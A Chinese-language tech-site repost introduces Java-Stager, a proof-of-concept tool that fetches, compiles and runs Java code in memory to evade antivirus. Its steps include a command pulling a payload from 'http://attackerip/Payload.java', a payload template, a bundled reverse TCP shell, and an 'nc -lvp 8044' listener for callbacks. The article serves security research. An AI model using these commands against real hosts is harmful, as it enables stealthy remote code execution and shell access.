看我如何利用Java Stager在内存中下载、编译和执行Java文件

栏目: Java · 发布时间: 6年前

内容简介:今天给大家介绍的是一款名叫Java-Stager的工具,在该工具的帮助下,我们可以轻松地在内存中下载、编译和执行Java文件(代码)。注意:需要提醒大家一下,该项目仅供研究及测试使用,请不要将其用于恶意目的。

今天给大家介绍的是一款名叫Java-Stager的工具,在该 工具 的帮助下,我们可以轻松地在内存中下载、编译和执行 Java 文件(代码)。

看我如何利用Java Stager在内存中下载、编译和执行Java文件

注意:需要提醒大家一下,该项目仅供研究及测试使用,请不要将其用于恶意目的。

Java-Stager介绍

本项目基于James Williams的演讲《下一代反病毒引擎vs我的垃圾代码》所开发,感兴趣的同学可以观看他的演讲视频以获取更多的灵感:

视频地址:

看不到?点 这里

演讲内容的关键点:

1.   如何在目标设备中加载一个Stager(需要使用合法代码触及目标磁盘);
2.   Stager通过HTTP下载源码(驻留在内存中);
3.   Stager编译源码(同样在内存中进行);
4.   Stager执行编译代码(同样在内存中进行);

不过他的研究主要基于的是.net,不过我认为这种技术同样能够应用到Java中,所以我就设计了这样一个PoC来验证上述技术的可行性。

如何使用?

1.   克隆整个项目代码;
2.   在能够使用maven的IDE编辑器(例如NetBeans)中打开项目目录;
3.   Stager和样本Payload可以在项目目录的”/src/main/java”中找到;
4.   选择你喜欢的Stager,然后编译项目代码,我在默认配置中选择的是“clean/build”;

Netbeans中的输出结果应该跟下面的代码类似:

Buildingjar:C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar

在目标主机中,你需要上传“JavaStageer*.jar”文件以及包含了Janino(从项目的“target”目录中获取)的“lib”文件夹。下面的命令将会执行stager:

java-jar JavaStager-0.1-initial.jar

下面这条命令可以给你提供相关文件的使用信息:

ProperUsage is: java -jar JavaStager-0.1-initial.jar <url>

其中的“url”是命令唯一需要的参数,该参数将会传递给Stager,下面给出的是一个使用样例:

java-jar JavaStager-0.1-initial.jar http://attackerip/Payload.java

你的Payload必须存储在一个名叫“Payload.java”的文件中,你的漏洞利用代码必须写在名叫“Run”的静态方法内。如果你想自己开发的话,可以参考下面这个模版代码:

publicclass Payload {
   public static void Run() {
      // Your code here
   }
}

我在“TCPReverseShell.java”文件中还提供了一个可供参考的反向TCP Payload,为了防止命名冲突,我就不将其取名为“Payload.java”了,如果你想了解“TCPReverseShell.java”的详细工作机制并进行定制开发的话,可以参考该文件Header中的注释内容。

除此之外,你可能还需要在自己的HTTP服务器上托管你的“Payload.java”文件,如果你只想使用简单的HTTP/HTTPS服务(Python2或 Python 3)的话,我建议你用Apache【 参考资料 】。

除此之外。攻击端还需要启动一个netcat监听器并使用标准nc -lvp 8044技术来捕捉链接回调。

参考资料

Java-Stager工作机制介绍:【 传送门

工具实际操作演示:【 传送门

* 参考来源: java-stager ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM 


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Objective-C编程

Objective-C编程

[美] Aaron Hillegass / 夏伟频、李骏 / 华中科技大学出版社 / 2012-9-25 / 58.00元

《Objective-C编程》讲述Objective-C编程语言和基本的iOS/Mac开发知识。作者首先从基本的编程概念讲起(变量、条件语句、循环结构等),接着用浅显易懂的语言讲解Objective-C和Foundation的知识,包括Objective-C的基本语法、 Foundation常用类 、内存管理、常用设计模式等,最后手把手教读者编写完整的、基于事件驱动的iOS/Mac应用。作者还穿插......一起来看看 《Objective-C编程》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

html转js在线工具
html转js在线工具

html转js在线工具